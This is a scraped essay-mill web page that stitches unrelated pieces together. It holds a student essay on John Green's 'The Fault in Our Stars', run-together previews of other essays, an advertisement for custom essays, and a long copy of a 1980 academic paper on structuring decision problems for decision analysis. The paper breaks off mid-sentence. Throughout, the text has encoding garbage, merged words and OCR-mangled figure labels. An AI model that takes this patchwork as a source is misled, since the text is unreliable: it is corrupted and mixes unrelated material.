Baskin’Robbins the owners, a husband and wife, were going to drive Duncan

The Fault in Our Stars by John Green Essay - 926 Words

Cancer affects Hazel Grace, Augustus Waters, and their families deeply, it represents the lost, hope, and surprise of cancer often, but this is not only true in books,it also affects people in real life, parents start to view their kids differently, and the children start to view themselves as nothing but disease, and the culture they once had starts to change. Augustus Waters and Hazel Grace each have their own struggles, Hazel suffers from thyroid cancer and is terminal, Augustus had been cured, but it popped back making his body full of cancer, he as well ending up with terminal cancer. Often organizations and people would give them a little bit more because they are kids who had inevitability of death to look to. They both having†¦show more content†¦One day of being okay, then next his body was practically consumed by the cancer inside of him. No hope, no treatment, no way to save him a little longer. When Augustus dies so many suffered from it, or claimed to it affec ted them, he showed losing someone can be a surprising as the diagnosis was. Even though they both suffered they did get a few perks even though not many. â€Å"I wasn’t bad, but all the shoes and balls are Cancer Perks† (Green, 30). The mention of cancer perks were given throughout the whole book. The things the received from all those around them. Getting to go on planes first, wine even though under aged, free trips, and much more. People tend to want to give more to those who have less. This rule applies in real life as well. Talia Castellano, a 13 year old girl before her passing experienced cancer perks. She got to be a CoverGirl and everyone supported her. Though not the social norm society changed for this one little girl, because she was dying. Even with the perks, it doesn’t rid the cancer. Not in the books, not in real life, because eventually they had to face what the inevitable. Families deal with cancer in all different types of ways. Hazel Grace’s parents would try to protect, but make sure she did live. Her mom started to get a degree so if Hazel did die she could council those who lost their children to cancer. Yet at the same time they constantly worried, fights broke out all the time ThereShow MoreRelatedThe Fault in Our Stars by John Green624 Words   |  3 PagesOptimism is an emotion that inspires hopefulness and confidence about the future. Optimism propels people and novels forward. Optimism is a driving force in the novel â€Å"Lord of The Flies† by William Golding and the novel â€Å"The Fault in Our Stars† by John Green. In the novel â€Å"Lord of the Flies†,one of the most important emotions is optimism. Without optimism the boys would have no hope that they would make it off the island. At the start of the novel things are not going the boys way, their planeRead MoreThe Fault Of Our Stars By John Green1502 Words   |  7 PagesThe Fault in Our Stars, published by John Green in January 2012 is a professional, fictional narration of a sixteen year old girl named Hazel Grace Lancaster and her experience with terminal cancer. Hazel was prepared to die until a surgery followed by radiation and chemo at age fourteen shrunk her tumours and bought her a few more years of life. Hazel has a poor outlook on her remaining years with terminal cancer, she does not wish to form any close bonds due to the fact she is afraid of the impactRead MoreThe Fault Of Our Stars By John Green2013 Words   |  9 Pagesnovel, The Fault in Our Stars, John Green describes the hardships, endless love, and a tragedy, th at two teenagers must push through to find their forever. Hazel Lancaster, an intelligent, aware, and selfless young girl, has struggled with cancer since the early age of thirteen. Augustus Waters, a smart, metaphor loving, cancer stricken kid, falls completely in love with Hazel Grace, but a great misfortune cuts their time together short. â€Å"Some infinities are bigger than other infinities (Green, 260).†Read MoreThe Fault Of Our Stars By John Green Essay848 Words   |  4 PagesThe fault in our stars is written by John Green, a popular American writer and vlogger. The novel is narrated by Hazel Grace Lancaster, a sixteen year old cancer patient. Her parents force her to attend a Support group so she can make â€Å"friends†. Hazel gets more than a friend from the support group. She befriends a 17 year old called Augustus Waters, the guy she ends up falling in love with. Augustus Waters really inspired me throughout the novel. He was a very strong character who had a positiveRead MoreThe Fault Of Our Stars By John Green1768 Words   |  8 PagesJournal Entry 1: The Fault In Our Stars by John Green. Entry written by Matt Kruse. How realistic are the characters? Would you want to meet any of the characters in real life? How has the author used exposition to introduce you to the characters? Do you like them? Why or why not? Is there a character that you can relate to better than others? Primarily, all of the characters in The Fault In Our Stars are pretty realistic. Most of the characters act like normal people you could just find everyRead MoreThe Fault Of Our Stars By John Green1023 Words   |  5 PagesThe Fault in Our Stars is a book written by John Green. This book has many themes like love for the ways that Hazel and Augustus treat one another. There is courage for the way that these teenagers battle cancer and are brave while doing it. Also, another theme is family for the way that Hazel and Augustus’s parents love them, support them, and comfort them with every decision that they make. The main characters in this book are Hazel Grace Lancaster, the narrator of the book who has cancer and knowsRead MoreThe Fault Of Our Stars By John Green1079 Words   |  5 Pages Augustus Waters once said â€Å"I’m on a roller coaster that only goes up, my friend.† (Green, John). Isaac once stated â€Å"There’s nothing you can do about it.† (Green, John). Augustus Waters and Isaac are fictional character from the popular book, â€Å"The Fault in Our Stars†, written by John Green. These quotes show a little bit of these characters personalities. The exciting and emotional book came out January 2012 and since then a movie was released based on it. (Wikipedia). It includes teens sufferingRead MoreThe Fault Of Our Stars By John Green1490 Words   |  6 PagesIn the novel, The Fault in Our Stars, the author, John Green, provides the reader with a theme that people tend to differ other people who do not appear to be the same as every other average human being. People would contradict this universal truth, but it cannot be denied. From the onset, Hazel is receiving extra care and attention from her parents and guardians. â€Å"‘Mom† I shouted. Nothing. Again, louder, â€Å"MOM!† She ran in wearing a threadbare pink towel under her armpits, dripping, vaguely panickedRead MoreThe Fault in Our Stars: John Green1819 Words   |  7 Pagesâ€Å"That’s the thing about pain†¦ it demands to be felt† John Green eloquently states in the tear-jerking novel The Fault in Our Stars. Ask anyone who read the book about the supporting character, charming Augustus Grey, and quickly witness an almost physical wave of acrimony and nostalgia pass over them. Green’s unique ability to demand compassion from the reader through his cleverly compiled diction forces the reader to feel the extreme pain his characters are faced against. Pain brings people togetherRead MoreThe Fault in Our Stars by John Green2159 Words   |  9 Pagesis invited over to his house to watch a movie. Although , he pulls out a cigarette and Hazel freaks out to which he explains that it is a metaphor, â€Å"You put the killing thing right between your teeth, but don’t give it the power to do its killing† (Green 20). Once at his house Hazel begins to feel not to different from other girls, yet by the time they say goodbye, she cannot get the thought of him out of her head. Hazel shares a book with Augustus and he shares one with her. She quickly reads through

Decision Analysis Free Essays

CREATE Research Archive Published Articles Papers 1-1-1980 Structuring Decision Problems for Decision Analysis Detlof von Winterfeldt University of Southern California, winterfe@usc. edu Follow this and additional works at: http://research. create. We will write a custom essay sample on Decision Analysis or any similar topic only for you Order Now usc. edu/published_papers Recommended Citation von Winterfeldt, Detlof, â€Å"Structuring Decision Problems for Decision Analysis† (1980). Published Articles Papers. Paper 35. http://research. create. usc. edu/published_papers/35 This Article is brought to you for free and open access by CREATE Research Archive. It has been accepted for inclusion in Published Articles Papers by an authorized administrator of CREATE Research Archive. For more information, please contact gribben@usc. edu. Acta Psychologica 45 (1980) 71-93 0 North-Holland Publishing Company STRUCTURING DECISION PROBLEMS FOR DECISION ANALYSIS * Detlof von WINTERFELDT ** University of Southern California, Los Angeles, CA 90007, USA Structuring decision problems into a formally acceptable and manageable format is probably the most important step of decision analysis. Since presently no sound methodology for structuring exists, this step is still an art left to the intuition and craftsmanship of the individual analyst. After introducing a general concept of structuring, this paper reviews some recent advances in structuring research. These include taxonomies for problem identification and new tools such as influence diagrams and interpretative structural modeling. Two conclusions emerge from this review: structuring research is still limited to a few hierarchical concepts and it tends to ignore substantive problem aspects that delineate a problem it its real world context. Consequently structuring research has little to say about distinctions between typical problem classes such as regulation, siting, or budget allocation. As an alternative the concept of â€Å"prototypical decision analytic structures† is introduced. Such structures are developed to meet the substantive characteristics of a specific problem (e. g. , siting a specific Liquid Natural Gas plant) but they are at the same time general enough to apply to similar problems (industrial facility siting). As an illustration, the development of a prototypical analytic structure for environmental standard setting is described. Finally, some typical problem classes are examined and some requirements for prototypical structures are discussed. An introduction to problem structuring Decision analysis can be divided into four steps: structuring the problem; formulating inference and preference models; eliciting probabilities and utilities; and exploring the numerical model results. Prac* This research was supported by a grant from the Department of Defense and was monitored by the Engineering Psychology Programs of the Office of Naval Research, under contract # NOOO14-79C-0529. While writing this paper, the author discussed the problem of structuring extensively with Helmut Jungermann. The present version owes much to his thought. Please don’t take footnote 3 too seriously. It is part of a footnote war between Ralph Keeney and me. ** Presently with the Social Science Research Institute, University of Southern California, University Park, Los Angeles, CA 90007, (213) 741-6955. 12 D. von Winterfeldt /Structuring decision problems titioners of decision analysis generally agree that structuring is the most important and difficult step of the analysis. Yet, until recently, decision analytic research has all but ignored structuring, concentrating instead on questions of modeling and elicitation. As a result, structuring was, and to some extent still is, considered the ‘art’ part of decision analysis. This paper examines some attempts to turn this art into a science. Trees are the most common decision analytic structures. Decision trees, for example, represent the sequential aspects of a decision problem (see Raiffa 1968; Brown et al. 1974). Other examples are goal trees for the representations of values (Keeney and Raiffa 1976) and event trees for the representation f inferential problem aspects (Kelly and Barclay 1973). In fact, trees so much dominate decision analytic structures that structuring is often considered synonymous to building a tree. This paper, however, will adopt a more general notion of decision analytic structuring. According to this notion, structuring is an imaginative and creative process of transla ting an initially ill-defined problem into a set of welldefined elements, relations, and operations. The basic structuring activities are identifying or generating problem elements (e. g. , events, values, actors, decision alternatives) nd relating these elements by influence relations, inclusion relations, hierarchical ordering relations, etc. The structuring process seeks to formally represent the environmental (objective) parts of the decision problem and the decision makers’ or experts’ (subjective) views, opinions, and values. Graphs, maps, functional equations, matrices, trees, physical analogues, flow charts, and venn diagrams are all possible problem representations. In order to be useful structures for decision analysis, such representations must facilitate the subsequent steps of modeling, elicitation, and numerical nalysis. Three phases can be distinguished in such a generalized structuring process. In the first phase the. problem is identified. The elements which are generated in this phase are the substantive features of the problem: the decision maker(s); the generic classes of alternatives, objectives, and events; individuals or groups affected by the decision; characteristics of the problem environment. This list is pruned by answering questions such as: what is the purpose of the analysis? For whom is the analysis to be performed? Which alternatives can the decision maker truly control? At this stage only very rough relations between problem elements are constructed. Examples include organizational relations D. von Winterfeldt /Structuring decision problems 73 among decision makers, influence relations between classes of actions and events, and rough groupings of objectives. Products of this problem identification step are usually not very formal, and are seldom reported in the decision analytic literature. They may be in the form of diagrams, graphs, or ordered lists. Among the few documented examples are Hogarth et al. (1980) for the problem of city planning and Fischer and von Winterfeldt 1978) for the problem of setting environmental standards. In the second structuring step, an overall analytic structure is developed. The elements generated in this step are possible analytic problem representations. Besides tree structures, these may include more complex structures previously developed for similar problems such as screening structures for siting decisions or si gnal detection structures for medical decision making. Paradigmatic structures of alternative modeling approaches (e. g. , systems dynamics or linear programming) which could fit the problem should also be examined at this step [ 1 I. A creative activity in this structuring phase is to relate and combine part structures, e. g. , simulation structures with evaluation structures, or decision trees of different actors. From the candidate structures and their combinations an overall structure is selected which is judged most representative of the problem and manageable for further modeling and elicitation. Only a handful of analytic structures have been developed which are more complex than decision trees. Gardiner and Ford (in press) combined simulation and evaluation structures. Keeney (in press) developed decision analytic structure for the whole process of siting energy facilities. Von Winterfeldt (1978) constructed a generic structure for regulatory decision making. The third structuring phase coincides with the more traditional and limited notion of structuring. In this step the parts of the overall analytic structure are formalized in detail by refining the problem elements and relations identified in the first step. This includes a detailed construction of decision trees, event trees, and goal trees. Linkages between part structures are established, e. g. between simulation and evaluation structures. Decision makers and groups affected by possible decisions are specified together with events or actions linking [l] Although such structures alternatives to decision analytic in the remainder of this paper. structures should be considered, I will ignore 14 D. von Winterfeldt/Structuring decision problems them. Examples of this structuring step can be found in most decision analytic textbooks. This three step structuring process of identifying the problem, developing an analytic structure, and formalizing its detailed content seldom evolves in strict sequence. Instead, the process is recursive, with repeated trials and errors. Often the analyst decides on a specific structure and later finds it either unmanageable for modeling or non-representative of the problem. The recognition that a structure needs refmement often follows the final step of decision analysis, if numerical computations and sensitivity analyses point to places that deserve more detailed analysis. Knowing about the recursive nature of the structuring process, it is good decision analysis practice to spend much effort on structuring and to keep an open mind about possible revisions. The above characterization of the structuring process will be used as a format to review the structuring literature. First, the use of problem taxonomies for the step of problem identification is examined. Methods to select analytic approaches are then reviewed as possible aids for the second structuring step. Finally, some recent advances in formalizing part structures are discussed. * Two conclusions emerged from this review and motivated the subsequent sections of this paper: (1) Although structuring research has much to say about analytic distinctions between decision problems and structures (e. . , whether a problem is multiattributed or not), it has little bearing on substantive problem distinction (e. g. , the difference between a typical regulation problem and a typical investment problem). (2) Structuring research is still limited to a few, usually hierarchical concepts and operations. Emphasis is put on simple, operational and computerized structuring. Little effort is spen t on creating more complex combinations of structures that represent real problem classes. As an alternative, the concept of prototypical decision analytic structures is introduced. Such structures have more substance and complexity than the usual decision trees or goal trees. They are developed to meet the substantive characteristics of a specific problem, but are at the same time general enough to apply to similar problems. As an illustration, IIASA’s [21 development of a prototypical decision analytic [2] International Institute for Applied Systems Analysis, Laxenburg, Austria. D. von Winterfeldt /Structuring decision problems 75 structure for environmental standard setting will be described. Finally, several typical classes of decision problems will be examined and some requirements or prototypical structures will be discussed. Taxonomies for problem identification The taxonomies described in the following typically classify decision problems by analytic categories (e. g. , whether a problem is multiattributed or not) and they attempt to slice the universe of problems into mutually exclusive and exhaustive sets. The purpose of such taxonomies is twofo ld: to facilitate the identification of an unknown element (e. g. , a medical decision problem) with a class of problems (e:g. , diagnostic problem); and to aid the process of matching classes in the problem taxonomy (e. . , diagnostic problems) with an analytic approach (e. g. , signal detection structures). Thus, by their own aspiration, problem taxonomies should be useful for the early phases of structuring decision problems. MacCrimmon and Taylor (1975) discuss on a rather general level the relationship between decision problems and solution strategies. Decision problems are classified according to whether they are ill-structured or well-structured, depending on the extent to which the decision maker feels familiar with the initial state of the problem, the terminal state, and the transformations equired to reach a desired terminal state. Three main factors contribute to ill-structuredness: uncertainty, complexity, and conflict. For each category MacCrimmon and Taylor discuss a number of solution strategies. These strategies include, for example, reductions of the perceptions of uncertainty, modeling strategies, information acquisition and processing strategies, and methods for restructuring a problem. Taylor (1974) adds to this classification scheme four basic types of problems: resource specification, goal specification, creative problems, and well structured problems (see fig. 1). Problem types are identified by the decision maker’s familiarity with the three subparts of the problem. Taylor discusses what types of decision strategies are appropriate for each of these problem categories, for example, brainstorming for creative problems and operations research type solutions for well structured problems. Howell and Burnett (1978) recently developed a taxonomy of tasks 16 D. von Winterfeldt /Structuring Problem Type Initial State decision problems Terminal State Transformation Type 1, Resource Specification Problems UnfamllIar Type 11, Goal Specification Problems Type III, Creative Problems Type IV, Well-Structured Problems Varies Varies Unfamihar Varies Vanes Familiar Unfamiliar Familiar Fig. 1. Types of problem structures (Taylor 1974). and types of events with the intention of assessing cognitive options for processing probabilistic information for each taxonomy element. Uncertain events are classified according to three dichotomies: frequentistic – not frequentistic; known data generator – unknown data generator; process external – internal to the observer. Task characteristics are complexity, setting (e. g. , real life us. laboratory), span of events, and response mode characteristics. For each vent/task combination Howell and Burnett discuss how different cognitive processes may be operating when making probability judgments. For example, in estimating frequentistic events with unknown data generators, availability heuristics may be operative. Brown and Ulvila (1977) present the most comprehensive attempt yet to classify decision problems. The ir taxonomy includes well over 100 possible characteristics. Decision problems are defined according to their substance and the decision process involved. Substantive taxonomic characteristics are mainly derived from the analytic properties of the situation, i. . , amount and type of uncertainty, and amount D. von Winterfeldt/Structuring decision problems 71 and types of stakes, types of alternatives. Only a few elements of this part of the taxonomy can be directly related to problem content, i. e. , current vs. contingent decision, operating vs. information act. The taxonomic elements of the decision process refer mainly to the constraints of the decision maker, e. g. , reaction time, available resources. The taxonomy by Brown and Ulvila incorporates most previous problem taxonomies which tried to define decision problems by categories derived from decision analysis. These include taxonomies by von Winterfeldt and Fischer (1975), Miller et al. (1976), and Vlek and Wagenaar (1979). To be useful for problem identification, the above taxonomies should lead an analyst to a class of problems which has characteristics similar to the decision problem under investigation. Unfortunately, the existing problem taxonomies are ill-suited for this purpose, because they use mainly analytic categories to distinguish problems. Such categories are derivatives of the decision analytic models and concepts, rather than characteristics of real world problems. For example, the analytic categorizations f problems into risky vs. riskless classes is based on the distinction between riskless and risky preference models. Analytic categories create more or less empty classes with little or no correspondence to real problems. For example, none of the above taxonomies allows distinguishing between a typical siting problem and a typical regulation problem in a meaningful way. I t appears that substantive rather than analytic characteristics identify real problems. Substantive characteristics are generalized content features of the problems belonging to the respective class. For example, a substantive eature of regulation problems is the involvement of three generic decision makers: the regulator, the regulated, and the beneficiary of regulation. To become useful for problem identification, taxonomies need to include such substantive problem characteristic Methods for selecting an overall analytic structure Most taxonomies include some ideas or principles for matching lems with analytic structures or models. MacCrimmon and attempted to match their basic type of decision problems with tive solution strategies, Howell and Burnett speculated on which tive processes may be invoked by typical task/event classes in probTaylor ognicogniproba- 18 D. von Winterfeldt /Structuring decision problems bility assessment; von Winterfeldt and Fischer identified for each pro blem category appropriate multiattribute utility models. But in none of these papers explicit matching principles or criteria for the goodness of a match are given. Rather, matches are created on the basis of a priori reasoning about the appropriateness of a strategy, model, or a cognitive process for a particular class of decision problems. Brown and Ulvila (1977) attempted to make this selection process more explicit by creating an analytic taxonomy in correspondence with the problem taxonomy. The analytic taxonomy classifies the main options an analyst may have in structuring and modeling a decision problem. The taxonomy includes factors such as user’s options (amount to be expended on the analysis), input structure (type of uncertainty), elicitation techniques (type of probability elicitation). These categories identify options, both at a general level (optimization, simulation, and Bayesian inference models) and special techniques (e. g. , reference gambles, or Delphi technique). To match problems with analytic approaches Brown and Ulvila created a third taxonomy, called the â€Å"performance measure taxonomy†. This taxonomy evaluates analytic approaches on attributes like â€Å"time and cost measures†, â€Å"quality of the option generation process†, â€Å"quality of communication or implementation†, etc. Different problem classes have different priority profiles on the performance measure categories. Similarly, different analytic approaches have different scoring profiles on the performance measures. The analytic approach chosen should perform well on the priority needs of a particular problem, Brown and Ulvila discuss the ‘goodness of fit’ of several analytic approaches to a number of decision situations in terms of these performance measures. For example, they argue that a contingency type analysis (an element of the analytic taxonomy) is appropriate for decision problems that occur repeatedly and require a fast response (elements of the decision situation taxonomy) because contingency type analysis allows fast calculations (elements of the performance measure taxonomy). Several authors have developed logical selection schemes, which can identify an appropriate analytic approach or model based on selected MacCrimmon (1973), for example, developed a problem features. sequential method for selecting an appropriate approach for multiattribe evaluation. The first question to be answered is whether the purpose of the analysis is normative or descriptive. Further questions D. von Winterfeldt /Structuring decision problems 79 include whether the type of problem has occurred frequently before, if there are multiple decision makers with conflicting preferences, and whether alternatives are available or have to be designed. All questions are of the yes-no type and together create a flow chart for selecting among 19 possible approaches. For example, if the purpose of the analysis is normative, if direct assessments of preferences (e. g. ratings) are valid and reliable, and if the type of problem has frequently occurred before, regression models or ANOVA type approaches would be appropriate. Johnson and Huber (1977) and Kneppreth et al. (1977) discuss a three step procedure for selecting a multiattribute utility assessment approach. In the first step, the characteristics of the multiattribute problem are listed, including discreteness vs. c ontinuity of dimensions, uncertainty vs. no uncertainty, and independence considerations. In the second step the evaluation situation is characterized on the basis of judgments about the task complexity, mount of training required for assessment, face validity required, assessment time, accuracy and flexibility. In the third and final step the profile describing the evaluation problem is compared with a profile characterizing five different generic assessment models or methods. The technique that best matches the situation profile is selected. For example, lottery assessment methods and models would be appropriate if the evaluation problem involves uncertainties, does not require high face validity, and allows for a good amount of training of the assessor. Both the taxonomy riented and the sequential selection methods for matching problems and analysis suffer from certain drawbacks. As stated earlier, problem characteristics used in taxonomies typically neglect substantive aspects o f the decision problem. Consequently, an analyst may choose an analytic approach based on a match with a spuriously defined problem class. For example, when facing a medical diagnosis problem, an analyst may find that some detailed substantive characteristics of the problem (e. g. , the way doctors process information, the physical format of information, etc. ) suggest a signal detection structure. Yet, as far as I can see, none of the above matching processes would directly lead to such a structure. Advances in formalizing structures Influence diagrams are a recent development in decision analytic structuring (see Miller et al. 1976). Influence diagrams draw a graphical 80 D. von Winterfeldt /Structuring decision problems picture of the way variables in a decision model influence each other, without superimposing any hierarchical structure. For example, a decision variable (price) may ‘influence’ a state variable (demand) and thus ‘influence’ a final state (successful introduction of a new product into market). Influence diagrams have been conceived mainly as an initial pre-structuring tool to create a cognitive map of a decision maker’s or expert’s view of a decision problem. In the present stage influence diagrams are turned into hierarchical structures and analyzed with traditional tools. But research is now underway at SRI Internatio nal on the use of influence diagrams directly in EV or EU computations. Another generalization of the tree approach is Interpretative Structural Modeling (ISM) developed, for example, in Warfield (1974) and Sage (1977). In interpretative structural modeling, matrix and graph heory notions are used to formally represent a decision problem. First, all elements of the problem are listed and an element by element matrix is constructed. The structure of the relationships between elements is then constructed by filling in the matrix with numerical judgments reflecting the strength of the relationship, or by simply making O-l judgments about the existence/non-existence of a relation. Computer programs can then be used to convert the matrix into a graph or a tree that represents the problem. Influence diagrams, value trees, decision trees, and inference trees can all be thought of as special cases of ISM. For example, in value tree construction, the analyst may begin with a rather arbitrary collection of value relevant aspects, attributes, outcomes, targets and objectives. Using alternative semantic labels for the relationships between these elements (e. g. , ‘similar’, ‘part of’), an element by element matrix can be filled. Finally, the analyst can explore whether a particular relational structure leads to useful goal tree structure. Besides these generalizations of traditional hierarchical structuring tools, several refinements of special structuring techniques have been suggested, particularly for evaluation roblems. Keeney and Raiffa (1976) devoted a whole chapter to the problem of structuring a value tree. They suggest a strategy of constructing a value tree by beginning with general objectives and disaggregating by using a pure explication logic (i. e. , what is meant by this general objective? ). This approach has previously been advocated by Miller (1 970) and others. Mannheim and Hall (1967) suggest in addition the possibility of disaggregating general D. van Winterfeldt /Structuring decision problems 81 objectives according to a means-ends logic (how can this general objective be achieved? ). Other disaggregation logics (problem oriented, process oriented, etc. ) could be analyzed in the ISM context. There are a number of papers that suggest more empirical or synthetic approaches to value tree construction. Of particular interest is a repertory grid technique described by Humphreys and Humphreys (1975) and Humphreys and Wisuda (1979). In this procedure similarity and dissimilarity judgments are used to span the value dimensions of alternatives. Several computer aids have been developed recently to aid decision makers or experts in structuring decision problems. Some of these are discussed in Kelly ( 1978), and Humphreys (1980). These aids typically rely on empty structuring concepts (decison trees, value trees, inference trees, or influence diagrams) and they guide the decision maker/expert in the analytic formulation of his/her problem. Special aids are OPINT for moderately complex problems which can easily be formulated into a decision tree or matrix structure, the decision triangle aid for sequential decision problems with a focus on changing probabilities, and EVAL for multiattribute utility problems (Kelly 1978). In addition to these structuring and assessment aids, there are now computerized aids under development xploiting the idea of influence diagrams and fuzzy set theory. Influence diagrams, ISM, and computer aids are indicative of a trend in structuring research and perhaps in decision analysis as a whole. This trend turns the fundamentally empty structures of decision trees, goal trees, and inference trees into more operational, computerized elicitation tools, without adding problem substance. T here are clear advantages to such an approach: a wide range of applicability, flexibility, user involvement, speed, limited training, and feedback, to name only a few. It also reduces the demands on the decision analyst’s time. There is, of course, the other extreme, the prestructured, precanned problem specific version of decision analysis applicable to essentially identical situations. A military example is Decisions and Designs Inc. % SURVAV model (Kelly 1978) which applies to routing decisions for ships to avoid detections by satellites. Such a structure and model can routinely be implemented with almost no additional training. In turn it gives up generalizability. Neither extreme is totally satisfactory. Empty general structures must consider each problem from scratch. Substantive specific struc- 82 D. von Winterfeldt /Structuring ecision problems tures have limited generalizability. The middleground of problem driven but still generalizable structures and models needs to be filled. Problem taxonomies may help here by identifying generic classes of problems. But as was discussed earlier, existing taxonomies are ill equipped for this task since they neglect substantive problem features. The question of filling in the middleground between ‘too general’ structures and ‘too specific’ structures thus becomes a question of searching for generalizable content features of problems that identify generic classes of decisions. These generic classes can then be modelled and structured by â€Å"prototypical decision analytic structures† which are specific enough to match the generalizable problem features and general enough to transfer easily to other problems of the same class. At the present stage of research this search process will necessarily be inductive because too little is known about problem substance to develop a problem driven taxonomy and matching analytic structures. An inductive research strategy may attempt to crystallize the generalizable features of a specific application, . or compare a number of similar applications (e. . , with siting problems), or simply use a phenomenological approach to delineate problem classes in a specific application area (e. g. , regulation). In the following two sections some possibilities for developing prototypical decision analytic structures will be discussed. An example of developing a prototypical structure The following example describes the struct uring process in the development of a decision aiding system for environmental standard setting and regulation. The work was performed as part of IIASA’s (see fn. 2) standard setting project (see von Winterfeldt et al. 1978), which had oth descriptive and normative intentions (how do regulators presently set standards? how can analytic models help in the standard setting process? ). Because of this wide approach of the standard setting project, the research group was not forced to produce workable models for specific decision problems quickly. Consequently, its members could afford and were encouraged to spend a substantial amount of time on structuring. Inputs into the structuring process were: – retrospective case studies of specific mental protection agencies; standard processes of environ- national Railway Corporation energylevelmeasure 3 measurefor aeroplanenoise 1 Japanese dB’ ‘SO†, AT SOURCE RULES ROUTING USE SCHEMES SCHEMES LAND Fig. 2. Regul atory alternatives for Shinkansen noise pollution. IMPLEMENTATION AND MEASUREMENT INSTRUMENT /I ALTERNATIVE OF HOUSE IN HOUSE IN FRONT lMldB(A) WCPNLl MEAS†6iiA~â€Å" 30 – di) MEASURED LEO’ EQUIP- TION FICA- SPECI- MENT SPE:D CONTROL RES+RlCT TIMES OPERATION 84 D. von Winterfeldt /Structuring decision problems – previous models suggested for standard setting; – field studies of two ongoing standard setting processes (oil pollution and noise standards). In addition, the structuring process benefited much from continuing discussions with leading members of environmental agencies in the United Kingdom, Norway, Japan and the United States. Although the structuring effort was geared towards decision analysis, substantial inputs were given by an environmental economist (D. Fischer), an environmental modeller (S. Ikeda), a game theorist (E. Hopfinger), and two physicists (W. Hafele and R. Avenhaus), all members of IIASA’s standard setting research team. The overall question was: how can standard setting problems best be formulated nto a decision analytic format and model such that the model is specific enough to capture the main features of a particular standard setting problem and, at the same time, general enough to apply to a variety of such problems? In other words, what is a prototypical decision analytic structure for standard setting? Since the regulator or regulatory agency was presumed to be the main client of such models, the initial structuring focussed on regulatory alternatives and objectives. In one attempt a wide but shallow alternative tree was conceived which included a variety of regulatory ptions ranging from emission standards, land use schemes, to direct interventions. An example for noise pollution standards is presented in fig, 2. Coupled with an appropriate tree of regulatory objectives, a decision analysis could conceivably be performed by evaluating each alternative with a simple MAU procedure. A possible value tree is presented in fig. 3 for the same noise pollution problem. This simple traditional structure was rejected since regulators seldom have to evaluate such a wide range of alternatives and because it does not capture the interaction between the regulators and the regulated. Also, regulators are much concerned about monitoring and implementation of standards, an aspect which a simple MAU structure does not address. The second structure was a narrow but deep decision tree, exemplified in fig. 4 for an oil pollution problem. In addition to the regulator’s alternatives, this tree includes responses of the industry to standards, possible detection of standards violations, and subsequent sanctions. This structure was geared at fine tuning the regulators’ definitions of D. von Winterfeldt /Structuring decision problems 85 of hospitals, schools, retwement homes MINIMIZE f residential life DISTURBANCE other / EEggF M,NIM,zE HEALTH Hearing EFFECTS PsychologIcal Synergetic (aggravation of existing illness) Investment for pollution equipment MINIMIZE COST ~—– Operation of pollution eqwpment RAILWAY CORP. OBJECTIVES Speed MAXIMIZE SERVICE - Aeliablllty ClXlllOrt wth mtemational regulation CONSISTENCY OF REGULATION with other national â⠂¬Å"cise standards (car, mr. other trams) POLITICAL OBJECTIVES -/ Enwonmental policy AGREEMENT POLICY WITH GOVERNMENT Transportation policy t Ewnomtc growih policy Fig. 3. Regulatory objectives for noise pollution control. he standard level (maximum emission, etc. ) and monitoring and sanction schemes, and to assessing environmental impacts. The structure is specific in terms of the regulatory alternatives. But by considering industry responses as random events, and by leaving out responses of environmental groups, it fails to address a major concern of regulatory decision making. The third structure was a three decision maker model, in which the regulator, the industry/developer and the environmentalists/impactees are represented by separate decision analytic models (see von Winterfeldt 1978). A signal detection type model links the regulator’s decision through possible detections of violations and sanction schemes to the the industry model. An event tree of pollution generating events and effects links the developer’s decisions to the impactee model (see fig. 5). The model can be run as follows: the regulator’s alternatives are left 86 EPA average UK aver,, UK maximum Norway average DEFINITIONS OF OIL EMISSION STANDARDS parts per million ofoil No pollution – Grawty Separator cugated Plate Inter- equipment Gas Flotation Filters ceptrr n ob STANDARD LEVEL in watt r ofoil POLLUTION EQUIPMENT PERFORMANCE o00 patis per milhon in water n First vidabon of No udat#on of standard occurs at tulle DETECTION STATES standard dunng all opemons n t POLLUTION EQUIPMENT DECISION BY THE OIL INDUSTRY PENALTY No pdlution equipment Gravity separator Gas Flotatux corrugated Plate bltw- Pais Filters EQUIPMENT PERFORMANCE per million n Second wdation POLLUTION EQUIPME NT DECISION BY THE OIL INDUSTRY No more vidations DETECTION STATES Find eflects~ on environment (pdlution levels) FINAL EFFECTS – industry (cost) – regulatlx (political) Fig. 4. Segment of a decision tree for setting oil pollution standards. A standard is usually defined by the number of samples to be taken, how many samples form an average, and how many exemptions from a violation are allowed. For example, the EPA average definition is as follows: four samples are to be taken daily, the average of the four samples may not exceed the standard level (e. g. , 50 ppm) more than twice during any consecutive 30 day period. 87 D. von Winterfeldt /Structuring decision problems REGULATORY 1 DECISION MODEL I U R (0 1 DETECTION OF REGULATION VIOLATION DEVELOPER – SANCTIONS POLLUTION GENERATING EVENTS I IMPACTEE DECISION MODEL POLLUTION EFFECTS Fig. 5. Schematic representation of the regulator-developer-impactee model. 1: variable standard of the regulator d(r): expected utility maximizing treatment decision of the developer a[d(r)]: expected utility maximizing decision of the impactees variable. The developer’s response is optimized in terms of minimizing expected investment, operation, and detection costs or maximizing equivalent expected utilities. Finally, the impactees are assumed to maximize their expected utility conditional on the regulator’s and the developer’s decision. At this point the model stops. The structure only provides for a Pareto optimality analysis of the three expected utilities accruing to the generic decision units. This model allows some detailed analyses of the probabilities and value aspects of the standard setting problem, and it proved feasible in a pilot application to chronic oil discharge standards (see von Winterfeldt et al. 1978). Regulators who were presented with this model, con- 88 D. von Winterfeldt /Structuring decision problems REGULATOR’S CHOICE Fig. 6. Game theoretic structure of the regulation I problem. sidered it meaningful, and it offered several insights into the standard setting problematique. Yet, there was a feeling among analysts and regulators that the static character of the model and the lack of feedback loops required improvement. The final structure considered was a game theoretic extension of the three decision maker model. The structure of the game theoretic model is presented in fig. 6. In this model the standard setting process in explicitly assumed to be dynamic, and all feedbacks are considered. In addition, transitions from one stage to another are probabilistic. The model was applied in a seven stage version in a pilot study of noise standard setting for rapid trains (Hapfinger and von Winterfeldt 1978). The game theoretic model overcomes the criticisms of the static decision analytic model, but in turn it gives up the possibility for fine tuning and detailed modeling of trade-offs and probabilities. Considering such aspects in detail would have made the running of the model impossible. Therefore, relatively arbitrary (linear) utility functions and simple structures of transition probabilities have to be assumed. Although the appropriateness of the different structures was not explicitly addressed in this study, two main criteria come to mind when judging structures: representativeness of the problem and manageability for further analysis. Each of these criteria can be further broken down. For example, representativeness includes judgments about the adequacy of the structural detail, and coverage of important problem aspects. The overall conclusions of many discussion with regulators, analysts, D. von Winterfeldt /Structuring decision problems 89 industry representatives, and the results of the pilot applications led us to accept the third structure as a prototypical decision analytic structure for relatively routine emission standard setting problems. The model is 